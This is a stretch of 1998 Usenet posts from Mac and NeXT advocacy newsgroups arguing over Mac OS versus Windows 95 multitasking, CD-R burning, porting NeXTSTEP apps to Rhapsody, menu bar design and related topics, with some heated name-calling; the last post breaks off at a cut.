References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <MPG.102417abebbe2be9989a03@news.supernews.com> <Josh.McKee-2607980957160001@pm3a6.rmac.net> <6phe0p$kdi$1@nnrp1.dejanews.com> <Josh.McKee-2707982204590001@pm3a20.rmac.net> <6pjrh9$sos$1@nnrp1.dejanews.com> <Josh.McKee-2807981800070001@pm3a10.rmac.net> <6pmc1t$b4i$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 30 Jul 1998 00:32:01 GMT
In article <6pmc1t$b4i$1@nnrp1.dejanews.com>, quinlan@my-dejanews.com wrote:
> In article <Josh.McKee-2807981800070001@pm3a10.rmac.net>,
> Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> > Easy...the very word "Pre-emptive" means that an application should not be
> > able to block the OS.
>
> Obviously it does not. The word "preemptive" is not defined in neither terms
> of applications nor of operating systems.
I don't think the word pre-emptive was defined with multitasking in mind.
Rather the other way around.
> > Yep...but throw in a 16 bit application and everything stops. Not very
> > "preemptive" in my book.
>
> Name one operating system where it is impossible for any application to delay
> preemptive sheduling.
We weren't talking about "delaying"...we were talking about "blocking".
And Windows 95, with it's "pre-emptive multitasking" can be blocked by
running a 16 bit program. Likewise, just today I had a Windows 95 system
"freeze" on me while it was doing something. I couldn't do anything else
while it was doing whatever it was doing. It is for this very reason why
I claim that Windows 95's PMT is comparable to the Macs CMT...because,
like most everything else in Windows 95, it isn't reliable.
> > Or are you going to come back with the "who uses 16 bit applications
> > anymore" arguement? Doesn't matter...if you pick and choose your
> > applications correctly on either platform, then it shouldn't be much of an
> > issue.
>
> There is a spectrum here that you are not perceiving. Windows 95 multitasking
> is not perfect (nor even good) but it is still better than Mac OS
> multitasking. BTW, I cannot pick any Mac OS applications which allow me to do
> other work while they are loading. I am also an avid gamer so which MacOS
> games can I choose which will cooperative multitask during game play? Quake?
> Descent? X- Wing?
I'm perceiving everything just fine...you just don't appear to be hearing
what I'm saying.
If the end result of the Macs CMT and Windows 95's PMT is comparable, then
it doesn't matter how either is implemented. Yes, one way may be
preferable to the other. But to the end user, they don't really
care...both, for all intents and purposes, do the same thing.
As for your game example, yes, I will conceed that PMT may handle this
better. I say may because I haven't tried it myself, but theoretically
Windows 95 should be better. But I do have to question how much benefit
is gained by playing games while doing something else. Perhaps when
you're at home and downloading a file might be a case, but outside of that
I cannot really think of much benefit. So, if this is your criteria, then
Windows 95 would most likely be the better choice.
> > You're saying that the Mac's CMT is bad because it can be blocked by an
> > application.
>
> Please reread the statement that you were responding to because I said no such
> think. I stated that even the best Mac OS applications cause inefficient
> sheduling because they are forced to make scheduling decisions instead of
> allowing an operating system scheduler to do this.
Perhaps I should have worded "you're" as "PC advocates"...my error in
confusing the issue by stating that it was only your opinion.
> > Likewise, I can't say which is more efficient...depends on your needs.
> > However, I think the amount of "inefficiency" would be negligable in most
> > instances. Care to name one where it would make a big difference?
>
> Yes, the Mac OS is very inefficent a scheduling I/O bound tasks. When Mac OS
> applications are executing I/O bound tasks, they surrender the CPU to the
> operating system periodically (by calling WaitNextEvent/GetNextEvent) and
> wait for the operating system to return to them. A few applications make
> asynchronous I/O calls right before they surrender the processor but most
> just make synchronous calls when they regain the CPU. In the later (more
> common case) the CPU is blocked waiting for an I/O operation to complete
> when, in a PMT environment, a new process could be scheduled. Usually, a
> preemptive scheduler would also favor the I/O bound task (for obvious
> efficiency reasons) and schedule it after the I/O operating. In both
> synchronous and asynchronous I/O operations, the Mac OS cannot do this
> because it cannot claim the processor from a running process without that
> process specifically relinquishing it.
I guess inefficient I/O scheduling might be a big problem if the Mac OS
were designed to do the same work that unix does, but otherwise I really
can't see this being a big problem. Any particular example you have in
mind where this is a big headache?
> BTW, please name in instance when CMT is more efficient than PMT.
How do you define "efficient" for this question?
> > And I'm not saying that PMT is bad. What I am saying is that from an end
> > user point of view, the two are very comparable.
>
> Of course they are comparable e.g. when measuring efficiency PMT is better
> than CMT.
I guess that depends on how you define "efficient". Likewise, are the
measured "inefficiences" of CMT perceptable or do they make a significant
difference.
Now, can you please repeat these few lines over and over again until it
sinks in:
- Josh has never said that the Macs CMT is perfect.
- Josh has never said that the Macs CMT is preferable to PMT.
- Josh has never said that the Macs CMT should remain in future OS
releases from Apple.
- Josh has said that the Macs CMT works better than most PC advocates give
it credit for,
- Josh has said, that for the majority of people, the Macs CMT works fine.
- Josh has said that Windows 95's implementation of PMT is nothing to brag
about.
Josh
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Will my great old NeXT Apps work on Rhapsody/ OS X? Will my great old NeXT apps work on Rhapsody/ OS X?
Date: 30 Jul 1998 14:41:04 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6pq0m0$fes@shelob.afs.com>
References: <joe.ragosta-2907982106410001@elk76.dol.net>
Joe Ragosta writes
> I wouldn't be surprised if there's no demand for it. I see a lot of
> Rhapsody people rewriting their apps for Yellow Box. I guess a company
> with a lot of custom apps might be able to use it, but I think porting
> a NeXTStep app to Yellow Box is supposed to be very easy.
NO! Porting an app from *OPENSTEP* to YB is trivial. Porting from
*NEXTSTEP* can be damn difficult. I know, I ported several hundred
thousand lines of word processing and page layout code. 8^(
> BTW, what does Improv do?
Improv was a next-generation spreadsheet from Lotus that (how quickly
they forget) was released for Windows a year or so after the NEXTSTEP
version. It allowed multi-tier relationships between cells, so that you
could create a sheet that was cross-tabbed (to allow for relationship
inversions). Not really a full replacement for 1-2-3 or Excel, but a
heckuva tool for certain things a spreadsheet could never do.
BTW, Lighthouse (near the end of its life) published an application
called Quantrix that was intended as an Improv clone. I think it could
read Improv format, too. But Sun has exiled the whole Lighthouse suite
to the great coder's workbench in the sky.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to
obscurity?)
Date: 30 Jul 1998 14:46:24 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6pq100$pqt@newsb.netnews.att.com>
References: <35bfb655.0@news.depaul.edu> <B1E5205F-5667D@128.138.177.229>
Originator: gupta@tlctest
Jay Riley <datamagik@usa.net> wrote:
>> So in other words, C++ does not allow you to bind objects to methods
>> at runtime.
>>
>
>Where does that exist in the language definition for C++?!? What you are
>describing is an _implementation-specific_ feature created by a _specific_
>implementation of C++, NOT an inherent feature of the language!
C++ does allow run-time binding of a sort.
Stroustrup, The C++ Programming Language, Second Edition,
sections 1.5.1, 1.5.2 lays out the static type checking requirements
that greatly restrict the type of runtime binding allowed.
I will quote the relevant sentences only :
For example, given a pointer p, how is a call
p->rotate(45) handled ?
[Consider the requirements of static type checking...]
Consequently, a class declaration such as ...
class shape {
// ....
public:
// ....
virtual void rotate(int);
// ....
};
must be available, and p must have been declared
T* p;
where T is shape or the name of a class derived from shape.
....
The need to type check virtual function calls can be
constraining for library designers. For example, it could be
nice to provide a class "stack of anything" for general use.
C++ doesn't allow this, but the combinations of templates and
inheritance can approach the flexibility, ease of design and
ease of use of libraries in languages that rely on dynamic
(run-time) type checking, such as Smalltalk, where a
"stack of anything" can be expressed.
[ an example is then given, using templates, where a "car"
is pushed onto a stack of "planes", and then the takeoff() function
is called for each item on the stack. Assuming "car"s
don't takeoff(), this results in a compile time error in a
static type-checking language C++; and a run-time error otherwise.]
-arun gupta
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: 30 Jul 1998 15:11:45 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6pq2fh$q3n@newsb.netnews.att.com>
References: <6or4sj$83a$1@supernews.com> <35BFC76E.109C@geocities.com> <6pojup$mkj@newsb.netnews.att.com> <macghod-2907982226310001@sdn-ar-002casbarp187.dialsprint.net>
Originator: gupta@tlctest
Steve Sullivan <macghod@concentric.net> wrote:
>
>Its different in that on the pc you can phsyically run other apps but on
>the mac you cant. The mac has various instances where other apps can be
But the other apps. interfere with the CD-R app., and cause errors
with the CD-R app.
>run but not well. Joe argued that even tho in those cases it isnt done
So, Windows 95 has instances where other apps can be run, but at the
cost of some apps not running well.
>well, it still is strictly speaking multitasking. So I pointed out that
>their are numerous cases where on the mac you simply cant run any other
>apps, so SOME people MIGHT hold that it doesnt have TRUE multitasking.
>
>PLUS, if you have a p2 400, with uw scsi, a fast scsi cd, and say
>openstep, would the cd always have errors when using a measly word
>processor?
I think Windows 95 with or without Openstep would have errors in writing
a CD-R even when using a measly word processor. (Actually, not doing
any interactive work, but having the personal webserver on, but with no
hits, can cause the CD-R writing to fail on Windows 95).
-arun gupta
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: 30 Jul 1998 15:15:46 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6pq2n2$q44@newsb.netnews.att.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6pd4o8$pn2$1@bunyip.cc.uq.edu. <6ppbmg$m1p$1@bunyip.cc.uq.edu.au>
Originator: gupta@tlctest
Christopher Smith <drsmithy@usa.net> wrote:
>>
>>Don't blame apple blame the *stupid* CDR software.
>
>No, I have every right to blame Apple for writing an OS that forced the
>writers of the CDR program to make it this way so they could (nearly)
>guarantee not getting coasters.
My personal experience is that it is exactly the same as Windows 95,
you have to stop everything on Windows 95 so you can (nearly)
guarantee not getting coasters.
-arun gupta
Date: Thu, 30 Jul 1998 11:25:39 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Message-ID: <joe.ragosta-3007981125390001@wil47.dol.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6pd4o8$pn2$1@bunyip.cc.uq.edu.au> <Josh.McKee-2607981000010001@pm3a6.rmac.net> <6pflf6$9t8$1@bunyip.cc.uq.edu.au> <35BFC76E.109C@geocities.com> <6ppbmg$m1p$1@bunyip.cc.uq.edu.au> <joe.ragosta-3007980854080001@wil34.dol.net> <6pput9$vsd$1@bunyip.cc.uq.edu.au>
In article <6pput9$vsd$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
<drsmithy@usa.net> wrote:
> Joe Ragosta <joe.ragosta@dol.net> wrote in message
> joe.ragosta-3007980854080001@wil34.dol.net...
> >In article <6ppbmg$m1p$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
> ><drsmithy@usa.net> wrote:
> >
> >> Landivar2 <landivar2@geocities.com> wrote in message
> >> 35BFC76E.109C@geocities.com...
> >> >Christopher Smith wrote:
> >> >
> >> >> I was actually thinking more of the way that when you start writing a
> CD
> >> >> under MacOS the entire box is rendered useless while the CD is
> writing.
> >> For
> >> >
> >> >Don't blame apple blame the *stupid* CDR software.
> >>
> >> No, I have every right to blame Apple for writing an OS that forced the
> >> writers of the CDR program to make it this way so they could (nearly)
> >> guarantee not getting coasters.
> >
> >Then why aren't you blaming Microsoft for the coasters I got on my Win95
> >machine?
>
> Because you haven't given any reason why I should.
Let's see. If you make coasters on a Mac, it's Apple's fault. If you make
coasters on a Windows box it's NOT Microsoft's fault?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 30 Jul 1998 11:28:35 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Will my great old NeXT Apps work on Rhapsody/ OS X? Will my great old NeXT apps work on Rhapsody/ OS X?
Message-ID: <joe.ragosta-3007981128360001@wil47.dol.net>
References: <joe.ragosta-2907982106410001@elk76.dol.net> <6pq0m0$fes@shelob.afs.com>
In article <6pq0m0$fes@shelob.afs.com>, Greg_Anderson@afs.com wrote:
> Joe Ragosta writes
> > I wouldn't be surprised if there's no demand for it. I see a lot of
> > Rhapsody people rewriting their apps for Yellow Box. I guess a company
> > with a lot of custom apps might be able to use it, but I think porting
> > a NeXTStep app to Yellow Box is supposed to be very easy.
>
> NO! Porting an app from *OPENSTEP* to YB is trivial. Porting from
> *NEXTSTEP* can be damn difficult. I know, I ported several hundred
> thousand lines of word processing and page layout code. 8^(
OK. Thanks for the correction.
>
> > BTW, what does Improv do?
>
> Improv was a next-generation spreadsheet from Lotus that (how quickly
> they forget) was released for Windows a year or so after the NEXTSTEP
> version. It allowed multi-tier relationships between cells, so that you
> could create a sheet that was cross-tabbed (to allow for relationship
> inversions). Not really a full replacement for 1-2-3 or Excel, but a
> heckuva tool for certain things a spreadsheet could never do.
How about Mesa, then?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Kari L Beischer <kari@gti.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: 30 Jul 1998 15:35:34 GMT
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <6pq3s6$qhn$1@supernews.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <35BFC76E.109C@geocities.com> <6pojup$mkj@newsb.netnews.att.com> <macghod-2907982226310001@sdn-ar-002casbarp187.dialsprint.net>
macghod@concentric.net (Steve Sullivan) wrote:
> In article <6pojup$mkj@newsb.netnews.att.com>,
> Its different in that on the pc you can phsyically run other apps
> but on the mac you cant. The mac has various instances where
> other apps can be run but not well. Joe argued that even tho in
> those cases it isnt done well, it still is strictly speaking
> multitasking. So I pointed out that their are numerous cases
> where on the mac you simply cant run any other apps, so SOME
> people MIGHT hold that it doesnt have TRUE multitasking.
> PLUS, if you have a p2 400, with uw scsi, a fast scsi cd, and
> say openstep, would the cd always have errors when using a measly
> word processor?
Well I have a HP6020i on a pentium pro 200 with an uw scsi, and
under Openstep (using CDDesigner) I can run anything I choose to
and I do not get errors. Although my preference is to do this when
I don't have to do anything else on the machine. I have however,
had at least 13 apps simultaneously open in full use, while writing,
with no errors.
Under WIN95 (an ide drive in the same box) I can do nothing and
still get errors, especially with music, seems like the first five
tracks will go well and then anywhere after the 6th one -- errors
start to appear.
I stick with the openstep drive and I find myself not giving away
sets of coasters as gifts :)
--
Thanks, Kari Beischer
____________________________________________________________________
AT&T ASCII, MIME, PGP, SUN, & NeXTmail OK
Systems mailto:kari@gti.net
Development to want is natural, to need is negotiable...
____________________________________________________________________
Opinions expressed are mine, not those of my employer...
Date: Wed, 29 Jul 1998 21:06:39 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Will my great old NeXT Apps work on Rhapsody/ OS X? Will my great old NeXT apps work on Rhapsody/ OS X?
Message-ID: <joe.ragosta-2907982106410001@elk76.dol.net>
References: <35BE8245.381E@launchnet.com> <6pnhrl$9d3@shelob.afs.com> <6pns4i$bhj$1@nnrp1.dejanews.com>
In article <6pns4i$bhj$1@nnrp1.dejanews.com>, spagiola@my-dejanews.com wrote:
> Greg_Anderson@afs.com wrote:
> > Terry Haggin writes
> > > I have a ton on great old NeXT apps on my Cube and would like to know if
> > > I can run them on Rhapsody or OS X?
> >
> > Not unless the author rewrites them.
>
> Some time ago I asked about the possibility of writing a "Black Box" that
> would allow NeXTSTEP apps to run under Rhapsody. I got several responses
> indicating that it probably would be feasible (and easier to do than writing
> the Blue Box was) but that the people who could do it probably have better
> things to do with their time. Like writing native Rhapsody apps.
I wouldn't be surprised if there's no demand for it. I see a lot of
Rhapsody people rewriting their apps for Yellow Box. I guess a company
with a lot of custom apps might be able to use it, but I think porting a
NeXTStep app to Yellow Box is supposed to be very easy.
>
> In practice, the main app that doesn't have a close equivalent in the Mac
> world seems to be Improv. All other apps (that I use, at least) either have
> an announced Rhapsody port or a close equivalent Mac app (which will run in
> the Blue Box, and perhaps eventually under Carbon). So, much as I think a
> Black Box would be cool, and much as I hate losing Improv (which I use
> heavily), I agree that it probably wouldn't be worth the trouble, and that
> NeXTSTEP/OPENSTEP-savvy developers are probably most useful writing native
> Rhapsody apps.
>
> So: budding Rhapsody/Mac OS X developers looking for a project: how about an
> Improv clone?
The best place to go would be www.stepwise.com.
BTW, what does Improv do?
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 30 Jul 1998 10:54:13 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980730104650.4469A-100000@ux8.cso.uiuc.edu>
References: <slrn6ra3vt.7p8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1DA7D74-587C6@206.165.43.17> <joe.ragosta-2207980849560001@wil103.dol.net> <35BE0653.4865BF1E@earthlink.net> <joe.ragosta-2907980906550001@wil64.dol.net>
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In-Reply-To: <joe.ragosta-2907980906550001@wil64.dol.net>
On Wed, 29 Jul 1998, Joe Ragosta wrote:
> In article <35BE0653.4865BF1E@earthlink.net>, jontemple@earthlink.net wrote:
>
> > MacOS X uses the same kernel as that used by MkLinux --- Mach 3.0. This
> > runs on ALL PowerMacs, including NuBus.
>
> True. but MkLinux doesn't have Yellow Box, Blue Box, PDF, or the Rhapsody
> IOkit model. So it's irrelevant to this discussion.
Actually, it's not irrelevant.
The kernel in MkLinux sounds exactly like what Apple describes for Mac OS
X. The Yellow Box, Blue Box, and PDF all interface with the kernel. They
do not interface with the hardware.
The work that it would take to get Mac OS X running on older PowerMacs is
in writing the kernel. These other things you mention do not know and
do not care what specific hardware they are running on.
> > The statement that OS X uses an "entirely new driver architecture" is
> > questionable. OS X will be basically what Rhapsody is now --- Mach
> > kernel with BSD 4.4 UNIX layer. In fact, everything that Apple wants
> > to add to OS X already runs on PCI Macs.
>
> Not true. Try IOkit, PDF graphcs, and Carbon just for starters.
Of which IOKit is the only thing that's relevant to getting Mac OS X to
run on older machines. Even that is supposed to make it easier to write
drivers.
And this would be for hardware that Apple has _all_ the documentation on
and which Apple _already_ has experience in writing drivers for.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Thu, 30 Jul 1998 10:34:25 -0500
Organization: Ericsson Inc.
Message-ID: <35C09281.7461A700@exu.ericsson.se>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <35bd8b31.0@nnrp1.news.uk.psi.net> <andyba-ya02408000R2807981105150001@news> <35beb369.0@nnrp1.news.uk.psi.net> <35BF4F8B.D4C2B55F@ericsson.com> <35bf8c41.0@nnrp1.news.uk.psi.net>
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Richard Frith-Macdonald wrote:
[cut]
> >but I'd have to be harsh with you and say that you're dead
> >wrong and your UI philosophy fails to note important distinctions. Maybe
> >MacOS users just have a finer-grain resolution between UI concepts, but
> >that's just the breaks.
>
> Surely you mean coarser grained - if they have to be presented with a
> somewhat crippled form of menu in order to make the fact that it's the
> top-level clear to them?
No...conceptually speaking, MacOS users see finer distinctions in the
UI. NeXTstep users don't, which is why many widgets are rolled together
and made roughly androgynous. I've already discussed with you the fact
that window tiles and applications tiles are the same size and shape,
are placed in the same screen location, and behave identically. MacOS
users would point and say "hey! these are different. Why don't they look
and act differently?" NeXTstep users say "I like it that way. You have a
problem with that? Stupid MacOS users...sheesh". Sometimes, if you give
them a really hard time, they simply insist that the widgets are no
different, to pretend that they are is "inconsistent", and that the
MacOS way, in particular, is tied to a small screen size (which makes no
sense, in context).
> >Perhaps as an OO programmer you can look at it this way: the menu bar is
> >a special case of menu. For very good reasons
>
> This is the second time you invoked 'good reasons' - but failed to
> present any.
Bullshit, I've done it over and over. I don't need to reproduce the
copious postings I've already directed toward those who've asked for
justification on my views. Besides, you picked on the "good reasons"
part and basically ignored the reference to OO-style inheritance and
specificity. Earlier in this response you called the specificity of the
MacOS menubar "crippled". I suppose anything inherited and of
higher-specificity than its parent general case is "crippled", no? A
button is nothing more than a "crippled" window, then...
None of which explains how, specifically, the MacOS menu bar is
"crippled". By contrast, most MacOS users, including myself, believe
that this "crippling" actually makes the menu bar more valuable and
purposeful. I know you'll never believe it, but there it is.
> >, its orientation has been
> >changed and its behavior and policy are more specific. It is designed as
> >a special-case menu to hold general-case menus, precisely because it is
> >unique, serves a unique purpose, and belongs in a unique position in the
> >user's mind.
>
> By that reasoning you should have a distinctly different widget for everything.
Only if you're wildly extrapolating from simple language to attempt to
poke fun. Back to your object-orientation, Richard: by certain reasoning
I design separate classes for certain purposes. By that same reasoning
can I design separate classes for everything? Obviously not. Where it is
advantages to make reuse of code I will do so. Where it is not, I will
not. The key is constructing a useful, natural taxonomy by which the
user's needs are best satisfied, making use of similarities where
beneficial, and drawing thick lines of distinction where also necessary.
Generalizing across all cases with now-meaningless terms like
"consistency" becomes an exercise in pure rhetoric, as this discussion
has already proven.
> After all - the actions performed by the 'open' and 'quit' menu items are unique
> and distinct.
> Precisely what good does limiting the menu-bar to only containing menus do?
If it can facilitate patterns of usage to place 'open' and 'quit' in the
'File' menu, by all means, that's where they should go. That's the whole
purpose of research, which was the foundation of MacOS. By contrast,
NeXTstep was more of an academic exercise in the heads of self-righteous
and deterministic pricks who thought they had figured everything out on
paper. "It only makes sense, Mr. Jobs, we designed it all according to
mathematical formula."
If you tell a user "hey, did you ever realize that 'quit' doesn't really
belong in 'file'?" and they say "no, I never realized that", chances are
that 'quit' is doing just fine in 'file'. That user doesn't really need
NeXT Nazis telling him he's been doing it "all wrong" for ten years.
MJP
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Will my great old NeXT Apps work on Rhapsody/ OS X? Will my great old NeXT apps work on Rhapsody/ OS X?
Date: 30 Jul 1998 15:56:53 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6pq545$fq0@shelob.afs.com>
References: <joe.ragosta-3007981128360001@wil47.dol.net>
Joe Ragosta writes
> How about Mesa, then?
Mesa is "a traditional Excel-style spreadsheet", to quote from its
publisher's web site: www.plsys.com.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Thu, 30 Jul 1998 09:15:19 -0700
Organization: Graves Associates
Message-ID: <gmgraves-3007980915200001@sf-usr1-43-171.dialup.slip.net>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <gmgraves-2507981432270001@sf-usr1-25-153.dialup.slip.net> <Ewv4GD.MpA@bilver.magicnet.netREMOVETHIS>
In article <Ewv4GD.MpA@bilver.magicnet.netREMOVETHIS>,
bill@bilver.magicnet.netREMOVETHIS (Bill Vermillion) wrote:
> In article <gmgraves-2507981432270001@sf-usr1-25-153.dialup.slip.net>,
> George Graves <gmgraves@slip.net> wrote:
> >In article <pxpst2-2407981636290001@pelli.pathology.pitt.edu>,
> >pxpst2@SPAM.SUXS.unixs.cis.pitt.edu wrote:
> >
> >> In article <gmgraves-2407981227060001@sf-usr1-3-131.dialup.slip.net>,
> >> gmgraves@slip.net (George Graves) wrote:
> >> >
> >> > Iridium has GOT to be costing Motorola a fortune. Anyone know how those
> >> > satellite costs have affected their bottom line?
> >>
> >> Actually, If I am not mistaken, Iridium is figured into costs already
> >> because it has been a project in progress. In other words it was planed.
> >> And to be fair, it is not a bad project. It will allow for remote regions
> >> to get Bandwidth for a cheap cost compared to wire.
> >> Peter
> >
> >
> >I hate to see what the Iridium service is going to cost initially.
> >2 bucks a minute? 4?
>
> Well comsat satellite phones are about $3/min from anywhere in the
> world except the Arctic, Antartica, New Zealand and one other
> country. From their maps these appears to be footprint
> limitations. Basically it's just 4 birds covering the world.
Well, it's better than no communications at all, I guess, but those
satellites are not single purpose like Iridium. Iridium will have to
carry more traffic than does the comsat system to pay for itself. So,
I suspect that it will be cheaper than that.
George Graves
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 30 Jul 1998 16:37:43 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6pq7gn$6vs$1@lwnws01.ne.highway1.com>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <35bd8b31.0@nnrp1.news.uk.psi.net> <andyba-ya02408000R2807981105150001@news> <35beb369.0@nnrp1.news.uk.psi.net> <35BF4F8B.D4C2B55F@ericsson.com> <35bf8c41.0@nnrp1.news.uk.psi.net> <35C09281.7461A700@exu.ericsson.se>
Michael Peck <eusmpec@exu.ericsson.se> wrote:
> If you tell a user "hey, did you ever realize that 'quit' doesn't really
> belong in 'file'?" and they say "no, I never realized that", chances are
> that 'quit' is doing just fine in 'file'. That user doesn't really need
> NeXT Nazis telling him he's been doing it "all wrong" for ten years.
Right, he needs mac bozo zealots feeding him more koolaid and consoling him
as to his righteousness in UI.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
From: bill@bilver.magicnet.netREMOVETHIS (Bill Vermillion)
Subject: Re: Apple heading to obscurity?
Organization: W.J.Vermillion - Orlando / Winter Park
Message-ID: <Ewx0Hw.IMt@bilver.magicnet.netREMOVETHIS>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol. <35B8E397.FEE5AE46@ericsson.com>
Date: Thu, 30 Jul 1998 16:01:08 GMT
In article <35B8E397.FEE5AE46@ericsson.com>,
Michael Peck <Michael.Peck@ericsson.com> wrote:
>George Graves wrote:
>
